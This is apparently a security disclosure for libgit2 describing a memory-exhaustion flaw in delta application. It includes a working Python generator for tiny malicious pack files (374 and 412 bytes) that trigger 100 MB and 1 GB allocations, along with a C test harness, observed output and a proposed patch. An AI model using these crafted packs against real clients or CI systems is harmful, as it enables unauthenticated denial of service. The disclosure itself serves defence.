========================================================================
DESCRIPTION
========================================================================
git_delta_apply() reads the claimed result size (res_sz) from the delta
object header — data entirely controlled by the sender — and immediately
allocates a buffer of that size before examining any delta instructions:
// delta.c:563 — res_sz read from attacker-controlled stream, no limit:
if (hdr_sz(&res_sz, &delta, delta_end) < 0) {
git_error_set(GIT_ERROR_INVALID, "...");
return -1;
}
// delta.c:568 — allocation BEFORE any instruction validation:
GIT_ERROR_CHECK_ALLOC_ADD(&alloc_sz, res_sz, 1);
res_dp = git__malloc(alloc_sz); // ← unconstrained
res_sz is encoded as a variable-length integer; values up to SIZE_MAX-1
can be encoded in a handful of bytes. The only existing guard,
GIT_ERROR_CHECK_ALLOC_ADD, prevents integer overflow at SIZE_MAX but
imposes no semantic upper bound.
The object cache limits in pack.h (1 MB per cached object, 16 MB total)
operate at a different layer (pack_packfile_cache_add) and do NOT prevent
this allocation: git__malloc() is called unconditionally first.
Crucially, if the attacker also supplies valid delta instructions that
fill exactly res_sz bytes, the allocation is retained in the returned
object buffer — making this a clean memory exhaustion with no sanitizer
errors. Multi-level OFS_DELTA chains allow a single small pack to
trigger exponentially larger allocations at each level.
Affected code paths:
- git_clone / git_fetch / git_remote_fetch against a malicious remote
- git_indexer_append() / git_indexer_commit() receiving pack data
- Reading local pack files from an attacker-supplied repository
========================================================================
PROOF OF CONCEPT
========================================================================
Two crafted pack files were generated and tested. Both contain valid
delta instructions that fully fill the declared result size, so the
allocation is retained (not freed on the error path).
Pack A — delta_100mb.pack (374 bytes)
Structure:
OBJ_BLOB base: 64 KB of 'A' bytes (zlib-compressed to ~68 bytes)
OFS_DELTA: res_sz = 104,857,600 (100 MB)
1,600 × COPY(offset=0, len=65536) — valid, fills 100 MB
instruction stream compressed to ~23 bytes
Result: ~118 MB RSS increase (amplification ~323,000×)
Pack B — chain_1gb.pack (412 bytes)
Structure:
OBJ_BLOB base: 64 KB (same as above)
OFS_DELTA 1: res_sz = 1,048,576 (1 MB), 16 COPY instructions
OFS_DELTA 2: res_sz = 1,073,741,824 (1 GB), 16,384 COPY instructions
Result: ~1.03 GB RSS increase (amplification ~2,614,000×)
Reproduction steps
------------------
1. Clone the repository:
git clone https://github.com/libgit2/libgit2.git
cd libgit2
2. Build with ASAN (UBSAN excluded from this test — SHA1DC alignment
warnings abort the process before RSS can be measured; see separate
sha1dc report for that finding):
cmake -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-sanitize-recover=all \
-g -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DUSE_HTTPS=OFF -DUSE_SHA256=builtin \
-DUSE_NTLMCLIENT=OFF -DBUILD_TESTS=OFF -DBUILD_CLI=OFF
cmake --build build -- -j$(nproc)
3. Generate the crafted pack files (gen_packs.py):
import zlib, struct, hashlib, os
def varint(n):
buf = [n & 0x7f]
n >>= 7
while n:
buf[-1] |= 0x80
buf.append(n & 0x7f)
n >>= 7
return bytes(buf)
def pack_obj_hdr(t, s):
b0 = (t << 4) | (s & 0x0f); s >>= 4; buf = []
while s: buf.append(b0 | 0x80); b0 = s & 0x7f; s >>= 7
buf.append(b0); return bytes(buf)
def ofs_encode(n):
buf = [n & 0x7f]; n >>= 7
while n: n -= 1; buf.insert(0, 0x80 | (n & 0x7f)); n >>= 7
return bytes(buf)
def make_delta(base_sz, res_sz):
d = varint(base_sz) + varint(res_sz)
full, rem = divmod(res_sz, 65536)
d += b'\x80' * full
if rem: d += bytes([0x90, rem & 0xff]) + (bytes([(rem >> 8) & 0xff]) if rem > 0xff else b'')
return d
BASE = b'A' * 65536
base_comp = zlib.compress(BASE, 9)
base_hdr = pack_obj_hdr(3, len(BASE))
base_obj = base_hdr + base_comp
# Pack A: 100 MB single-level
d100 = make_delta(len(BASE), 100 * 1024 * 1024)
d100c = zlib.compress(d100, 9)
obj_a = pack_obj_hdr(6, len(d100)) + ofs_encode(len(base_obj)) + d100c
body_a = b'PACK' + struct.pack('>II', 2, 2) + base_obj + obj_a
open('delta_100mb.pack', 'wb').write(body_a + hashlib.sha1(body_a).digest())
# Pack B: 1 GB two-level chain
d1m = make_delta(len(BASE), 1024*1024)
d1mc = zlib.compress(d1m, 9)
obj1 = pack_obj_hdr(6, len(d1m)) + ofs_encode(len(base_obj)) + d1mc
d1g = make_delta(1024*1024, 1024*1024*1024)
d1gc = zlib.compress(d1g, 9)
obj2 = pack_obj_hdr(6, len(d1g)) + ofs_encode(len(obj1)) + d1gc
body_b = b'PACK' + struct.pack('>II', 2, 3) + base_obj + obj1 + obj2
open('chain_1gb.pack', 'wb').write(body_b + hashlib.sha1(body_b).digest())
print(f'delta_100mb.pack: {os.path.getsize("delta_100mb.pack")} bytes')
print(f'chain_1gb.pack: {os.path.getsize("chain_1gb.pack")} bytes')
python3 gen_packs.py
# Output:
# delta_100mb.pack: 374 bytes
# chain_1gb.pack: 412 bytes
4. Write a test harness (test_indexer.c):
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include "git2.h"
static long rss_kb(void) {
struct rusage r;
return (getrusage(RUSAGE_SELF, &r) == 0) ? r.ru_maxrss : -1;
}
int main(int argc, char **argv) {
if (argc < 2) { fprintf(stderr, "usage: %s <pack>\n", argv[0]); return 1; }
git_libgit2_init();
git_indexer *idx = NULL;
git_indexer_options opts = GIT_INDEXER_OPTIONS_INIT;
opts.verify = 0;
char tmp[] = "/tmp/idx_XXXXXX"; mkdtemp(tmp);
git_indexer_new(&idx, tmp, 0, NULL, &opts);
git_indexer_progress st = {0};
FILE *f = fopen(argv[1], "rb");
unsigned char buf[65536]; size_t n;
long before = rss_kb();
printf("[*] RSS before: %ld KB\n", before);
while ((n = fread(buf, 1, sizeof(buf), f)) > 0)
git_indexer_append(idx, buf, n, &st);
fclose(f);
if (git_indexer_commit(idx, &st) < 0)
fprintf(stderr, "commit: %s\n", git_error_last()->message);
long after = rss_kb();
printf("[*] RSS after: %ld KB\n", after);
printf("[+] RSS delta: %ld KB (~%ld MB)\n",
after - before, (after - before) / 1024);
git_indexer_free(idx); git_libgit2_shutdown();
return 0;
}
5. Compile and run:
gcc -o test_indexer test_indexer.c -Iinclude -Lbuild -lgit2 \
-Wl,-rpath,build -fsanitize=address -fno-omit-frame-pointer -g
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \
LD_LIBRARY_PATH=build \
./test_indexer delta_100mb.pack
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \
LD_LIBRARY_PATH=build \
./test_indexer chain_1gb.pack
========================================================================
OBSERVED OUTPUT
========================================================================
Tested on x86_64 Linux and i686 Linux (libgit2 main, commit 873ab30fe):
64-bit — delta_100mb.pack (374 bytes, 100 MB claim):
RSS before: 40,668 KB
RSS after: 158,736 KB
RSS delta: ~118 MB amplification: ~323,000×
64-bit — chain_1gb.pack (412 bytes, 1 GB claim):
RSS before: 40,452 KB
RSS after: 1,093,960 KB
RSS delta: ~1.03 GB amplification: ~2,614,000×
32-bit — delta_100mb.pack (374 bytes, 100 MB claim):
RSS before: 26,480 KB
RSS after: 147,196 KB
RSS delta: ~118 MB amplification: ~323,000×
ASAN reported no memory errors in any run. The vulnerability is a
design-level issue: the claimed result size is trusted unconditionally.
========================================================================
IMPACT
========================================================================
Availability: Complete process memory exhaustion from a single network
connection. A 412-byte pack triggers >1 GB allocation; a larger
chain or res_sz value can exhaust all available RAM on the host.
Affected operations: git_clone, git_fetch, git_remote_fetch, and any
higher-level API that fetches pack data over HTTP/HTTPS/SSH/git
protocol from an untrusted source.
Authentication required: None. The attack fires the moment a client
opens a connection to an attacker-controlled repository URL.
Platforms: x86_64 and i686 Linux confirmed; expected to affect all
platforms where the library is built.
CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H — 6.5 (Medium-High)
UI:N applies when clone/fetch targets are supplied by the attacker
(e.g., CI/CD pipelines) — score becomes 7.5 (High).
========================================================================
SUGGESTED FIX (src/libgit2/delta.c)
========================================================================
Add a result-size guard immediately after reading res_sz, before the
allocation. The limit below is conservative and could be made
configurable via git_libgit2_opts() if finer control is needed:
--- a/src/libgit2/delta.c
+++ b/src/libgit2/delta.c
if (hdr_sz(&res_sz, &delta, delta_end) < 0) {
git_error_set(GIT_ERROR_INVALID, "...");
return -1;
}
+ /* Reject implausibly large delta results before allocating. */
+ if (res_sz > 2UL * 1024 * 1024 * 1024) {
+ git_error_set(GIT_ERROR_INVALID,
+ "failed to apply delta: result size exceeds 2 GB limit");
+ return -1;
+ }
+
GIT_ERROR_CHECK_ALLOC_ADD(&alloc_sz, res_sz, 1);
res_dp = git__malloc(alloc_sz);
An alternative is to expose a GIT_OPT_SET_PACK_MAX_OBJECT_SIZE option
(analogous to GIT_OPT_SET_PACK_MAX_OBJECTS) so callers can tune the
limit per deployment.
========================================================================
CREDITS
========================================================================
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski,
members of the AFINE Team.